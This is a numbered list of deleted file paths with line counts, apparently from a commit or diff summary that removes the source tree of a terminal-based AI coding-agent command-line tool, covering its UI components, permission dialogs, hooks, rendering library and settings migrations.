  536. package/src/components/design-system/ThemeProvider.tsx +0 -170
  537. package/src/components/design-system/ThemedBox.tsx +0 -156
  538. package/src/components/design-system/ThemedText.tsx +0 -124
  539. package/src/components/design-system/color.ts +0 -30
  540. package/src/components/diff/DiffDetailView.tsx +0 -281
  541. package/src/components/diff/DiffDialog.tsx +0 -383
  542. package/src/components/diff/DiffFileList.tsx +0 -292
  543. package/src/components/grove/Grove.tsx +0 -463
  544. package/src/components/hooks/HooksConfigMenu.tsx +0 -578
  545. package/src/components/hooks/PromptDialog.tsx +0 -90
  546. package/src/components/hooks/SelectEventMode.tsx +0 -127
  547. package/src/components/hooks/SelectHookMode.tsx +0 -112
  548. package/src/components/hooks/SelectMatcherMode.tsx +0 -144
  549. package/src/components/hooks/ViewHookMode.tsx +0 -199
  550. package/src/components/mcp/CapabilitiesSection.tsx +0 -61
  551. package/src/components/mcp/ElicitationDialog.tsx +0 -1169
  552. package/src/components/mcp/MCPAgentServerMenu.tsx +0 -183
  553. package/src/components/mcp/MCPListPanel.tsx +0 -504
  554. package/src/components/mcp/MCPReconnect.tsx +0 -167
  555. package/src/components/mcp/MCPRemoteServerMenu.tsx +0 -649
  556. package/src/components/mcp/MCPSettings.tsx +0 -398
  557. package/src/components/mcp/MCPStdioServerMenu.tsx +0 -177
  558. package/src/components/mcp/MCPToolDetailView.tsx +0 -212
  559. package/src/components/mcp/MCPToolListView.tsx +0 -141
  560. package/src/components/mcp/McpParsingWarnings.tsx +0 -213
  561. package/src/components/mcp/index.ts +0 -9
  562. package/src/components/mcp/types.ts +0 -7
  563. package/src/components/mcp/utils/reconnectHelpers.tsx +0 -49
  564. package/src/components/memory/MemoryFileSelector.tsx +0 -438
  565. package/src/components/memory/MemoryUpdateNotification.tsx +0 -45
  566. package/src/components/messageActions.tsx +0 -450
  567. package/src/components/messages/AdvisorMessage.tsx +0 -158
  568. package/src/components/messages/AssistantRedactedThinkingMessage.tsx +0 -31
  569. package/src/components/messages/AssistantTextMessage.tsx +0 -270
  570. package/src/components/messages/AssistantThinkingMessage.tsx +0 -86
  571. package/src/components/messages/AssistantToolUseMessage.tsx +0 -368
  572. package/src/components/messages/AttachmentMessage.tsx +0 -536
  573. package/src/components/messages/CollapsedReadSearchContent.tsx +0 -484
  574. package/src/components/messages/CompactBoundaryMessage.tsx +0 -18
  575. package/src/components/messages/GroupedToolUseContent.tsx +0 -58
  576. package/src/components/messages/HighlightedThinkingText.tsx +0 -162
  577. package/src/components/messages/HookProgressMessage.tsx +0 -116
  578. package/src/components/messages/PlanApprovalMessage.tsx +0 -222
  579. package/src/components/messages/RateLimitMessage.tsx +0 -161
  580. package/src/components/messages/ShutdownMessage.tsx +0 -132
  581. package/src/components/messages/SnipBoundaryMessage.ts +0 -2
  582. package/src/components/messages/SystemAPIErrorMessage.tsx +0 -141
  583. package/src/components/messages/SystemTextMessage.tsx +0 -827
  584. package/src/components/messages/TaskAssignmentMessage.tsx +0 -76
  585. package/src/components/messages/UserAgentNotificationMessage.tsx +0 -83
  586. package/src/components/messages/UserBashInputMessage.tsx +0 -58
  587. package/src/components/messages/UserBashOutputMessage.tsx +0 -54
  588. package/src/components/messages/UserChannelMessage.tsx +0 -137
  589. package/src/components/messages/UserCommandMessage.tsx +0 -108
  590. package/src/components/messages/UserCrossSessionMessage.ts +0 -2
  591. package/src/components/messages/UserForkBoilerplateMessage.ts +0 -2
  592. package/src/components/messages/UserGitHubWebhookMessage.ts +0 -2
  593. package/src/components/messages/UserImageMessage.tsx +0 -59
  594. package/src/components/messages/UserLocalCommandOutputMessage.tsx +0 -167
  595. package/src/components/messages/UserMemoryInputMessage.tsx +0 -75
  596. package/src/components/messages/UserPlanMessage.tsx +0 -42
  597. package/src/components/messages/UserPromptMessage.tsx +0 -80
  598. package/src/components/messages/UserResourceUpdateMessage.tsx +0 -121
  599. package/src/components/messages/UserTeammateMessage.tsx +0 -206
  600. package/src/components/messages/UserTextMessage.tsx +0 -275
  601. package/src/components/messages/UserToolResultMessage/RejectedPlanMessage.tsx +0 -31
  602. package/src/components/messages/UserToolResultMessage/RejectedToolUseMessage.tsx +0 -16
  603. package/src/components/messages/UserToolResultMessage/UserToolCanceledMessage.tsx +0 -16
  604. package/src/components/messages/UserToolResultMessage/UserToolErrorMessage.tsx +0 -103
  605. package/src/components/messages/UserToolResultMessage/UserToolRejectMessage.tsx +0 -95
  606. package/src/components/messages/UserToolResultMessage/UserToolResultMessage.tsx +0 -106
  607. package/src/components/messages/UserToolResultMessage/UserToolSuccessMessage.tsx +0 -104
  608. package/src/components/messages/UserToolResultMessage/utils.tsx +0 -44
  609. package/src/components/messages/nullRenderingAttachments.ts +0 -70
  610. package/src/components/messages/teamMemCollapsed.tsx +0 -140
  611. package/src/components/messages/teamMemSaved.ts +0 -19
  612. package/src/components/permissions/AskUserQuestionPermissionRequest/AskUserQuestionPermissionRequest.tsx +0 -645
  613. package/src/components/permissions/AskUserQuestionPermissionRequest/PreviewBox.tsx +0 -229
  614. package/src/components/permissions/AskUserQuestionPermissionRequest/PreviewQuestionView.tsx +0 -328
  615. package/src/components/permissions/AskUserQuestionPermissionRequest/QuestionNavigationBar.tsx +0 -178
  616. package/src/components/permissions/AskUserQuestionPermissionRequest/QuestionView.tsx +0 -465
  617. package/src/components/permissions/AskUserQuestionPermissionRequest/SubmitQuestionsView.tsx +0 -144
  618. package/src/components/permissions/AskUserQuestionPermissionRequest/use-multiple-choice-state.ts +0 -179
  619. package/src/components/permissions/BashPermissionRequest/BashPermissionRequest.tsx +0 -482
  620. package/src/components/permissions/BashPermissionRequest/bashToolUseOptions.tsx +0 -147
  621. package/src/components/permissions/ComputerUseApproval/ComputerUseApproval.tsx +0 -441
  622. package/src/components/permissions/EnterPlanModePermissionRequest/EnterPlanModePermissionRequest.tsx +0 -122
  623. package/src/components/permissions/ExitPlanModePermissionRequest/ExitPlanModePermissionRequest.tsx +0 -768
  624. package/src/components/permissions/FallbackPermissionRequest.tsx +0 -333
  625. package/src/components/permissions/FileEditPermissionRequest/FileEditPermissionRequest.tsx +0 -182
  626. package/src/components/permissions/FilePermissionDialog/FilePermissionDialog.tsx +0 -204
  627. package/src/components/permissions/FilePermissionDialog/ideDiffConfig.ts +0 -42
  628. package/src/components/permissions/FilePermissionDialog/permissionOptions.tsx +0 -177
  629. package/src/components/permissions/FilePermissionDialog/useFilePermissionDialog.ts +0 -212
  630. package/src/components/permissions/FilePermissionDialog/usePermissionHandler.ts +0 -185
  631. package/src/components/permissions/FileWritePermissionRequest/FileWritePermissionRequest.tsx +0 -161
  632. package/src/components/permissions/FileWritePermissionRequest/FileWriteToolDiff.tsx +0 -89
  633. package/src/components/permissions/FilesystemPermissionRequest/FilesystemPermissionRequest.tsx +0 -115
  634. package/src/components/permissions/MonitorPermissionRequest/MonitorPermissionRequest.ts +0 -2
  635. package/src/components/permissions/NotebookEditPermissionRequest/NotebookEditPermissionRequest.tsx +0 -166
  636. package/src/components/permissions/NotebookEditPermissionRequest/NotebookEditToolDiff.tsx +0 -235
  637. package/src/components/permissions/PermissionDecisionDebugInfo.tsx +0 -460
  638. package/src/components/permissions/PermissionDialog.tsx +0 -72
  639. package/src/components/permissions/PermissionExplanation.tsx +0 -272
  640. package/src/components/permissions/PermissionPrompt.tsx +0 -336
  641. package/src/components/permissions/PermissionRequest.tsx +0 -217
  642. package/src/components/permissions/PermissionRequestTitle.tsx +0 -66
  643. package/src/components/permissions/PermissionRuleExplanation.tsx +0 -121
  644. package/src/components/permissions/PowerShellPermissionRequest/PowerShellPermissionRequest.tsx +0 -235
  645. package/src/components/permissions/PowerShellPermissionRequest/powershellToolUseOptions.tsx +0 -91
  646. package/src/components/permissions/ReviewArtifactPermissionRequest/ReviewArtifactPermissionRequest.ts +0 -2
  647. package/src/components/permissions/SandboxPermissionRequest.tsx +0 -163
  648. package/src/components/permissions/SedEditPermissionRequest/SedEditPermissionRequest.tsx +0 -230
  649. package/src/components/permissions/SkillPermissionRequest/SkillPermissionRequest.tsx +0 -369
  650. package/src/components/permissions/WebFetchPermissionRequest/WebFetchPermissionRequest.tsx +0 -258
  651. package/src/components/permissions/WorkerBadge.tsx +0 -49
  652. package/src/components/permissions/WorkerPendingPermission.tsx +0 -105
  653. package/src/components/permissions/hooks.ts +0 -209
  654. package/src/components/permissions/rules/AddPermissionRules.tsx +0 -180
  655. package/src/components/permissions/rules/AddWorkspaceDirectory.tsx +0 -340
  656. package/src/components/permissions/rules/PermissionRuleDescription.tsx +0 -76
  657. package/src/components/permissions/rules/PermissionRuleInput.tsx +0 -138
  658. package/src/components/permissions/rules/PermissionRuleList.tsx +0 -1179
  659. package/src/components/permissions/rules/RecentDenialsTab.tsx +0 -207
  660. package/src/components/permissions/rules/RemoveWorkspaceDirectory.tsx +0 -110
  661. package/src/components/permissions/rules/WorkspaceTab.tsx +0 -150
  662. package/src/components/permissions/shellPermissionHelpers.tsx +0 -164
  663. package/src/components/permissions/useShellPermissionFeedback.ts +0 -148
  664. package/src/components/permissions/utils.ts +0 -25
  665. package/src/components/sandbox/SandboxConfigTab.tsx +0 -45
  666. package/src/components/sandbox/SandboxDependenciesTab.tsx +0 -120
  667. package/src/components/sandbox/SandboxDoctorSection.tsx +0 -46
  668. package/src/components/sandbox/SandboxOverridesTab.tsx +0 -193
  669. package/src/components/sandbox/SandboxSettings.tsx +0 -296
  670. package/src/components/shell/ExpandShellOutputContext.tsx +0 -36
  671. package/src/components/shell/OutputLine.tsx +0 -118
  672. package/src/components/shell/ShellProgressMessage.tsx +0 -150
  673. package/src/components/shell/ShellTimeDisplay.tsx +0 -74
  674. package/src/components/skills/SkillsMenu.tsx +0 -237
  675. package/src/components/tasks/AsyncAgentDetailDialog.tsx +0 -229
  676. package/src/components/tasks/BackgroundTask.tsx +0 -345
  677. package/src/components/tasks/BackgroundTaskStatus.tsx +0 -429
  678. package/src/components/tasks/BackgroundTasksDialog.tsx +0 -652
  679. package/src/components/tasks/DreamDetailDialog.tsx +0 -251
  680. package/src/components/tasks/InProcessTeammateDetailDialog.tsx +0 -266
  681. package/src/components/tasks/MonitorMcpDetailDialog.ts +0 -2
  682. package/src/components/tasks/RemoteSessionDetailDialog.tsx +0 -904
  683. package/src/components/tasks/RemoteSessionProgress.tsx +0 -243
  684. package/src/components/tasks/ShellDetailDialog.tsx +0 -404
  685. package/src/components/tasks/ShellProgress.tsx +0 -87
  686. package/src/components/tasks/WorkflowDetailDialog.ts +0 -2
  687. package/src/components/tasks/renderToolActivity.tsx +0 -33
  688. package/src/components/tasks/taskStatusUtils.tsx +0 -107
  689. package/src/components/teams/TeamStatus.tsx +0 -80
  690. package/src/components/teams/TeamsDialog.tsx +0 -715
  691. package/src/components/ui/OrderedList.tsx +0 -71
  692. package/src/components/ui/OrderedListItem.tsx +0 -45
  693. package/src/components/ui/TreeSelect.tsx +0 -397
  694. package/src/components/ui/option.ts +0 -4
  695. package/src/components/wizard/WizardDialogLayout.tsx +0 -65
  696. package/src/components/wizard/WizardNavigationFooter.tsx +0 -24
  697. package/src/components/wizard/WizardProvider.tsx +0 -213
  698. package/src/components/wizard/index.ts +0 -9
  699. package/src/components/wizard/types.ts +0 -3
  700. package/src/components/wizard/useWizard.ts +0 -13
  701. package/src/constants/apiLimits.ts +0 -94
  702. package/src/constants/betas.ts +0 -52
  703. package/src/constants/common.ts +0 -33
  704. package/src/constants/cyberRiskInstruction.ts +0 -24
  705. package/src/constants/errorIds.ts +0 -15
  706. package/src/constants/figures.ts +0 -45
  707. package/src/constants/files.ts +0 -156
  708. package/src/constants/github-app.ts +0 -144
  709. package/src/constants/keys.ts +0 -11
  710. package/src/constants/messages.ts +0 -1
  711. package/src/constants/oauth.ts +0 -234
  712. package/src/constants/outputStyles.ts +0 -216
  713. package/src/constants/product.ts +0 -76
  714. package/src/constants/prompts.ts +0 -915
  715. package/src/constants/querySource.ts +0 -1
  716. package/src/constants/spinnerVerbs.ts +0 -204
  717. package/src/constants/system.ts +0 -95
  718. package/src/constants/systemPromptSections.ts +0 -68
  719. package/src/constants/toolLimits.ts +0 -56
  720. package/src/constants/tools.ts +0 -112
  721. package/src/constants/turnCompletionVerbs.ts +0 -12
  722. package/src/constants/xml.ts +0 -86
  723. package/src/context/QueuedMessageContext.tsx +0 -63
  724. package/src/context/fpsMetrics.tsx +0 -30
  725. package/src/context/mailbox.tsx +0 -38
  726. package/src/context/modalContext.tsx +0 -58
  727. package/src/context/notifications.tsx +0 -240
  728. package/src/context/overlayContext.tsx +0 -151
  729. package/src/context/promptOverlayContext.tsx +0 -125
  730. package/src/context/stats.tsx +0 -220
  731. package/src/context/voice.tsx +0 -88
  732. package/src/context.ts +0 -189
  733. package/src/coordinator/coordinatorMode.ts +0 -369
  734. package/src/coordinator/workerAgent.ts +0 -2
  735. package/src/cost-tracker.ts +0 -323
  736. package/src/costHook.ts +0 -22
  737. package/src/daemon/main.ts +0 -2
  738. package/src/daemon/workerRegistry.ts +0 -2
  739. package/src/dialogLaunchers.tsx +0 -133
  740. package/src/engine/CostMapper.ts +0 -57
  741. package/src/engine/MessageMapper.ts +0 -276
  742. package/src/engine/ModelResolver.ts +0 -153
  743. package/src/engine/PermissionBridge.ts +0 -114
  744. package/src/engine/PiAgentAdapter.ts +0 -299
  745. package/src/engine/SubagentTools.ts +0 -92
  746. package/src/engine/ToolAdapter.ts +0 -122
  747. package/src/engine/engine-backup/CostMapper.ts +0 -57
  748. package/src/engine/engine-backup/MessageMapper.ts +0 -276
  749. package/src/engine/engine-backup/ModelResolver.ts +0 -153
  750. package/src/engine/engine-backup/PermissionBridge.ts +0 -114
  751. package/src/engine/engine-backup/PiAgentAdapter.ts +0 -299
  752. package/src/engine/engine-backup/SubagentTools.ts +0 -92
  753. package/src/engine/engine-backup/ToolAdapter.ts +0 -122
  754. package/src/engine/engine-backup/index.ts +0 -14
  755. package/src/engine/engine-backup/piQueryBridge.ts +0 -396
  756. package/src/engine/index.ts +0 -14
  757. package/src/engine/piQueryBridge.ts +0 -396
  758. package/src/entrypoints/agentSdkTypes.ts +0 -443
  759. package/src/entrypoints/cli.tsx +0 -303
  760. package/src/entrypoints/init.ts +0 -340
  761. package/src/entrypoints/mcp.ts +0 -196
  762. package/src/entrypoints/sandboxTypes.ts +0 -156
  763. package/src/entrypoints/sdk/controlSchemas.ts +0 -663
  764. package/src/entrypoints/sdk/controlTypes.ts +0 -12
  765. package/src/entrypoints/sdk/coreSchemas.ts +0 -1889
  766. package/src/entrypoints/sdk/coreTypes.generated.ts +0 -1
  767. package/src/entrypoints/sdk/coreTypes.ts +0 -62
  768. package/src/entrypoints/sdk/runtimeTypes.ts +0 -18
  769. package/src/entrypoints/sdk/sdkUtilityTypes.ts +0 -1
  770. package/src/entrypoints/sdk/settingsTypes.generated.ts +0 -1
  771. package/src/entrypoints/sdk/toolTypes.ts +0 -2
  772. package/src/environment-runner/main.ts +0 -2
  773. package/src/history.ts +0 -464
  774. package/src/hooks/fileSuggestions.ts +0 -811
  775. package/src/hooks/notifs/useAntOrgWarningNotification.ts +0 -2
  776. package/src/hooks/notifs/useAutoModeUnavailableNotification.ts +0 -56
  777. package/src/hooks/notifs/useCanSwitchToExistingSubscription.tsx +0 -60
  778. package/src/hooks/notifs/useDeprecationWarningNotification.tsx +0 -44
  779. package/src/hooks/notifs/useFastModeNotification.tsx +0 -162
  780. package/src/hooks/notifs/useIDEStatusIndicator.tsx +0 -186
  781. package/src/hooks/notifs/useInstallMessages.tsx +0 -26
  782. package/src/hooks/notifs/useLspInitializationNotification.tsx +0 -143
  783. package/src/hooks/notifs/useMcpConnectivityStatus.tsx +0 -88
  784. package/src/hooks/notifs/useModelMigrationNotifications.tsx +0 -52
  785. package/src/hooks/notifs/useNpmDeprecationNotification.tsx +0 -25
  786. package/src/hooks/notifs/usePluginAutoupdateNotification.tsx +0 -83
  787. package/src/hooks/notifs/usePluginInstallationStatus.tsx +0 -128
  788. package/src/hooks/notifs/useRateLimitWarningNotification.tsx +0 -114
  789. package/src/hooks/notifs/useSettingsErrors.tsx +0 -69
  790. package/src/hooks/notifs/useStartupNotification.ts +0 -41
  791. package/src/hooks/notifs/useTeammateShutdownNotification.ts +0 -78
  792. package/src/hooks/renderPlaceholder.ts +0 -51
  793. package/src/hooks/toolPermission/PermissionContext.ts +0 -388
  794. package/src/hooks/toolPermission/handlers/coordinatorHandler.ts +0 -65
  795. package/src/hooks/toolPermission/handlers/interactiveHandler.ts +0 -536
  796. package/src/hooks/toolPermission/handlers/swarmWorkerHandler.ts +0 -159
  797. package/src/hooks/toolPermission/permissionLogging.ts +0 -238
  798. package/src/hooks/unifiedSuggestions.ts +0 -202
  799. package/src/hooks/useAfterFirstRender.ts +0 -17
  800. package/src/hooks/useApiKeyVerification.ts +0 -84
  801. package/src/hooks/useArrowKeyHistory.tsx +0 -229
  802. package/src/hooks/useAssistantHistory.ts +0 -250
  803. package/src/hooks/useAwaySummary.ts +0 -125
  804. package/src/hooks/useBackgroundTaskNavigation.ts +0 -251
  805. package/src/hooks/useBlink.ts +0 -34
  806. package/src/hooks/useCanUseTool.tsx +0 -204
  807. package/src/hooks/useCancelRequest.ts +0 -276
  808. package/src/hooks/useChromeExtensionNotification.tsx +0 -50
  809. package/src/hooks/useClaudeCodeHintRecommendation.tsx +0 -129
  810. package/src/hooks/useClipboardImageHint.ts +0 -77
  811. package/src/hooks/useCommandKeybindings.tsx +0 -108
  812. package/src/hooks/useCommandQueue.ts +0 -15
  813. package/src/hooks/useCopyOnSelect.ts +0 -98
  814. package/src/hooks/useDeferredHookMessages.ts +0 -46
  815. package/src/hooks/useDiffData.ts +0 -110
  816. package/src/hooks/useDiffInIDE.ts +0 -379
  817. package/src/hooks/useDirectConnect.ts +0 -229
  818. package/src/hooks/useDoublePress.ts +0 -62
  819. package/src/hooks/useDynamicConfig.ts +0 -22
  820. package/src/hooks/useElapsedTime.ts +0 -37
  821. package/src/hooks/useExitOnCtrlCD.ts +0 -95
  822. package/src/hooks/useExitOnCtrlCDWithKeybindings.ts +0 -24
  823. package/src/hooks/useFileHistorySnapshotInit.ts +0 -25
  824. package/src/hooks/useGlobalKeybindings.tsx +0 -249
  825. package/src/hooks/useHistorySearch.ts +0 -303
  826. package/src/hooks/useIDEIntegration.tsx +0 -70
  827. package/src/hooks/useIdeAtMentioned.ts +0 -76
  828. package/src/hooks/useIdeConnectionStatus.ts +0 -33
  829. package/src/hooks/useIdeLogging.ts +0 -41
  830. package/src/hooks/useIdeSelection.ts +0 -150
  831. package/src/hooks/useInboxPoller.ts +0 -969
  832. package/src/hooks/useInputBuffer.ts +0 -132
  833. package/src/hooks/useIssueFlagBanner.ts +0 -133
  834. package/src/hooks/useLogMessages.ts +0 -119
  835. package/src/hooks/useLspPluginRecommendation.tsx +0 -194
  836. package/src/hooks/useMailboxBridge.ts +0 -21
  837. package/src/hooks/useMainLoopModel.ts +0 -34
  838. package/src/hooks/useManagePlugins.ts +0 -304
  839. package/src/hooks/useMemoryUsage.ts +0 -39
  840. package/src/hooks/useMergedClients.ts +0 -23
  841. package/src/hooks/useMergedCommands.ts +0 -15
  842. package/src/hooks/useMergedTools.ts +0 -44
  843. package/src/hooks/useMinDisplayTime.ts +0 -35
  844. package/src/hooks/useNotifyAfterTimeout.ts +0 -65
  845. package/src/hooks/useOfficialMarketplaceNotification.tsx +0 -48
  846. package/src/hooks/usePasteHandler.ts +0 -285
  847. package/src/hooks/usePluginRecommendationBase.tsx +0 -105
  848. package/src/hooks/usePrStatus.ts +0 -106
  849. package/src/hooks/usePromptSuggestion.ts +0 -177
  850. package/src/hooks/usePromptsFromClaudeInChrome.tsx +0 -71
  851. package/src/hooks/useQueueProcessor.ts +0 -68
  852. package/src/hooks/useRemoteSession.ts +0 -605
  853. package/src/hooks/useReplBridge.tsx +0 -723
  854. package/src/hooks/useSSHSession.ts +0 -241
  855. package/src/hooks/useScheduledTasks.ts +0 -139
  856. package/src/hooks/useSearchInput.ts +0 -364
  857. package/src/hooks/useSessionBackgrounding.ts +0 -158
  858. package/src/hooks/useSettings.ts +0 -17
  859. package/src/hooks/useSettingsChange.ts +0 -25
  860. package/src/hooks/useSkillImprovementSurvey.ts +0 -105
  861. package/src/hooks/useSkillsChange.ts +0 -62
  862. package/src/hooks/useSwarmInitialization.ts +0 -81
  863. package/src/hooks/useSwarmPermissionPoller.ts +0 -330
  864. package/src/hooks/useTaskListWatcher.ts +0 -221
  865. package/src/hooks/useTasksV2.ts +0 -250
  866. package/src/hooks/useTeammateViewAutoExit.ts +0 -63
  867. package/src/hooks/useTeleportResume.tsx +0 -85
  868. package/src/hooks/useTerminalSize.ts +0 -15
  869. package/src/hooks/useTextInput.ts +0 -529
  870. package/src/hooks/useTimeout.ts +0 -14
  871. package/src/hooks/useTurnDiffs.ts +0 -213
  872. package/src/hooks/useTypeahead.tsx +0 -1385
  873. package/src/hooks/useUpdateNotification.ts +0 -34
  874. package/src/hooks/useVimInput.ts +0 -316
  875. package/src/hooks/useVirtualScroll.ts +0 -721
  876. package/src/hooks/useVoice.ts +0 -1144
  877. package/src/hooks/useVoiceEnabled.ts +0 -25
  878. package/src/hooks/useVoiceIntegration.tsx +0 -677
  879. package/src/ink/Ansi.tsx +0 -292
  880. package/src/ink/bidi.ts +0 -139
  881. package/src/ink/clearTerminal.ts +0 -74
  882. package/src/ink/colorize.ts +0 -231
  883. package/src/ink/components/AlternateScreen.tsx +0 -80
  884. package/src/ink/components/App.tsx +0 -658
  885. package/src/ink/components/AppContext.ts +0 -21
  886. package/src/ink/components/Box.tsx +0 -214
  887. package/src/ink/components/Button.tsx +0 -192
  888. package/src/ink/components/ClockContext.tsx +0 -112
  889. package/src/ink/components/CursorDeclarationContext.ts +0 -32
  890. package/src/ink/components/ErrorOverview.tsx +0 -109
  891. package/src/ink/components/Link.tsx +0 -42
  892. package/src/ink/components/Newline.tsx +0 -39
  893. package/src/ink/components/NoSelect.tsx +0 -68
  894. package/src/ink/components/RawAnsi.tsx +0 -57
  895. package/src/ink/components/ScrollBox.tsx +0 -237
  896. package/src/ink/components/Spacer.tsx +0 -20
  897. package/src/ink/components/StdinContext.ts +0 -49
  898. package/src/ink/components/TerminalFocusContext.tsx +0 -52
  899. package/src/ink/components/TerminalSizeContext.tsx +0 -7
  900. package/src/ink/components/Text.tsx +0 -254
  901. package/src/ink/constants.ts +0 -2
  902. package/src/ink/cursor.ts +0 -1
  903. package/src/ink/devtools.ts +0 -2
  904. package/src/ink/dom.ts +0 -484
  905. package/src/ink/events/click-event.ts +0 -38
  906. package/src/ink/events/dispatcher.ts +0 -233
  907. package/src/ink/events/emitter.ts +0 -39
  908. package/src/ink/events/event-handlers.ts +0 -73
  909. package/src/ink/events/event.ts +0 -11
  910. package/src/ink/events/focus-event.ts +0 -21
  911. package/src/ink/events/input-event.ts +0 -205
  912. package/src/ink/events/keyboard-event.ts +0 -51
  913. package/src/ink/events/paste-event.ts +0 -1
  914. package/src/ink/events/resize-event.ts +0 -1
  915. package/src/ink/events/terminal-event.ts +0 -107
  916. package/src/ink/events/terminal-focus-event.ts +0 -19
  917. package/src/ink/focus.ts +0 -181
  918. package/src/ink/frame.ts +0 -124
  919. package/src/ink/get-max-width.ts +0 -27
  920. package/src/ink/global.d.ts +0 -1
  921. package/src/ink/hit-test.ts +0 -130
  922. package/src/ink/hooks/use-animation-frame.ts +0 -57
  923. package/src/ink/hooks/use-app.ts +0 -8
  924. package/src/ink/hooks/use-declared-cursor.ts +0 -73
  925. package/src/ink/hooks/use-input.ts +0 -92
  926. package/src/ink/hooks/use-interval.ts +0 -67
  927. package/src/ink/hooks/use-search-highlight.ts +0 -53
  928. package/src/ink/hooks/use-selection.ts +0 -104
  929. package/src/ink/hooks/use-stdin.ts +0 -8
  930. package/src/ink/hooks/use-tab-status.ts +0 -72
  931. package/src/ink/hooks/use-terminal-focus.ts +0 -16
  932. package/src/ink/hooks/use-terminal-title.ts +0 -31
  933. package/src/ink/hooks/use-terminal-viewport.ts +0 -96
  934. package/src/ink/ink.tsx +0 -1723
  935. package/src/ink/instances.ts +0 -10
  936. package/src/ink/layout/engine.ts +0 -6
  937. package/src/ink/layout/geometry.ts +0 -97
  938. package/src/ink/layout/node.ts +0 -152
  939. package/src/ink/layout/yoga.ts +0 -308
  940. package/src/ink/line-width-cache.ts +0 -24
  941. package/src/ink/log-update.ts +0 -773
  942. package/src/ink/measure-element.ts +0 -23
  943. package/src/ink/measure-text.ts +0 -47
  944. package/src/ink/node-cache.ts +0 -54
  945. package/src/ink/optimizer.ts +0 -93
  946. package/src/ink/output.ts +0 -797
  947. package/src/ink/parse-keypress.ts +0 -801
  948. package/src/ink/reconciler.ts +0 -512
  949. package/src/ink/render-border.ts +0 -231
  950. package/src/ink/render-node-to-output.ts +0 -1462
  951. package/src/ink/render-to-screen.ts +0 -231
  952. package/src/ink/renderer.ts +0 -178
  953. package/src/ink/root.ts +0 -184
  954. package/src/ink/screen.ts +0 -1486
  955. package/src/ink/searchHighlight.ts +0 -93
  956. package/src/ink/selection.ts +0 -917
  957. package/src/ink/squash-text-nodes.ts +0 -92
  958. package/src/ink/stringWidth.ts +0 -222
  959. package/src/ink/styles.ts +0 -771
  960. package/src/ink/supports-hyperlinks.ts +0 -57
  961. package/src/ink/tabstops.ts +0 -46
  962. package/src/ink/terminal-focus-state.ts +0 -47
  963. package/src/ink/terminal-querier.ts +0 -212
  964. package/src/ink/terminal.ts +0 -248
  965. package/src/ink/termio/ansi.ts +0 -75
  966. package/src/ink/termio/csi.ts +0 -319
  967. package/src/ink/termio/dec.ts +0 -60
  968. package/src/ink/termio/esc.ts +0 -67
  969. package/src/ink/termio/osc.ts +0 -493
  970. package/src/ink/termio/parser.ts +0 -394
  971. package/src/ink/termio/sgr.ts +0 -308
  972. package/src/ink/termio/tokenize.ts +0 -319
  973. package/src/ink/termio/types.ts +0 -236
  974. package/src/ink/termio.ts +0 -42
  975. package/src/ink/useTerminalNotification.ts +0 -126
  976. package/src/ink/warn.ts +0 -9
  977. package/src/ink/widest-line.ts +0 -19
  978. package/src/ink/wrap-text.ts +0 -74
  979. package/src/ink/wrapAnsi.ts +0 -20
  980. package/src/ink.ts +0 -85
  981. package/src/interactiveHelpers.tsx +0 -366
  982. package/src/jobs/classifier.ts +0 -2
  983. package/src/keybindings/KeybindingContext.tsx +0 -243
  984. package/src/keybindings/KeybindingProviderSetup.tsx +0 -308
  985. package/src/keybindings/defaultBindings.ts +0 -340
  986. package/src/keybindings/loadUserBindings.ts +0 -472
  987. package/src/keybindings/match.ts +0 -120
  988. package/src/keybindings/parser.ts +0 -203
  989. package/src/keybindings/reservedShortcuts.ts +0 -127
  990. package/src/keybindings/resolver.ts +0 -244
  991. package/src/keybindings/schema.ts +0 -236
  992. package/src/keybindings/shortcutFormat.ts +0 -63
  993. package/src/keybindings/template.ts +0 -52
  994. package/src/keybindings/types.ts +0 -3
  995. package/src/keybindings/useKeybinding.ts +0 -196
  996. package/src/keybindings/useShortcutDisplay.ts +0 -59
  997. package/src/keybindings/validate.ts +0 -498
  998. package/src/main.tsx +0 -4684
  999. package/src/memdir/findRelevantMemories.ts +0 -141
  1000. package/src/memdir/memdir.ts +0 -507
  1001. package/src/memdir/memoryAge.ts +0 -53
  1002. package/src/memdir/memoryScan.ts +0 -94
  1003. package/src/memdir/memoryShapeTelemetry.ts +0 -2
  1004. package/src/memdir/memoryTypes.ts +0 -271
  1005. package/src/memdir/paths.ts +0 -278
  1006. package/src/memdir/teamMemPaths.ts +0 -292
  1007. package/src/memdir/teamMemPrompts.ts +0 -100
  1008. package/src/migrations/migrateAutoUpdatesToSettings.ts +0 -61
  1009. package/src/migrations/migrateBypassPermissionsAcceptedToSettings.ts +0 -40
  1010. package/src/migrations/migrateEnableAllProjectMcpServersToSettings.ts +0 -118
  1011. package/src/migrations/migrateFennecToOpus.ts +0 -45
  1012. package/src/migrations/migrateLegacyOpusToCurrent.ts +0 -57
  1013. package/src/migrations/migrateOpusToOpus1m.ts +0 -43
  1014. package/src/migrations/migrateReplBridgeEnabledToRemoteControlAtStartup.ts +0 -22
  1015. package/src/migrations/migrateSonnet1mToSonnet45.ts +0 -48
  1016. package/src/migrations/migrateSonnet45ToSonnet46.ts +0 -67
  1017. package/src/migrations/resetAutoModeOptInForDefaultOffer.ts +0 -51
  1018. package/src/migrations/resetProToOpusDefault.ts +0 -51
  1019. package/src/moreright/useMoreRight.tsx +0 -26
  1020. package/src/native-ts/color-diff/index.ts +0 -1001
  1021. package/src/native-ts/file-index/index.ts +0 -370
  1022. package/src/native-ts/yoga-layout/enums.ts +0 -134
  1023. package/src/native-ts/yoga-layout/index.ts +0 -2578
  1024. package/src/outputStyles/loadOutputStylesDir.ts +0 -98
  1025. package/src/plugins/builtinPlugins.ts +0 -159
  1026. package/src/plugins/bundled/index.ts +0 -23
  1027. package/src/proactive/index.ts +0 -2
  1028. package/src/projectOnboardingState.ts +0 -83
  1029. package/src/query/config.ts +0 -46
  1030. package/src/query/deps.ts +0 -33
  1031. package/src/query/stopHooks.ts +0 -473
  1032. package/src/query/tokenBudget.ts +0 -93
  1033. package/src/query/transitions.ts +0 -2
  1034. package/src/query.ts +0 -1729
  1035. package/src/remote/RemoteSessionManager.ts +0 -343
  1036. package/src/remote/SessionsWebSocket.ts +0 -404
  1037. package/src/remote/remotePermissionBridge.ts +0 -78
  1038. package/src/remote/sdkMessageAdapter.ts +0 -302
  1039. package/src/replLauncher.tsx +0 -23
  1040. package/src/schemas/hooks.ts +0 -222
  1041. package/src/screens/Doctor.tsx +0 -575
  1042. package/src/screens/REPL.tsx +0 -5006
  1043. package/src/screens/ResumeConversation.tsx +0 -399
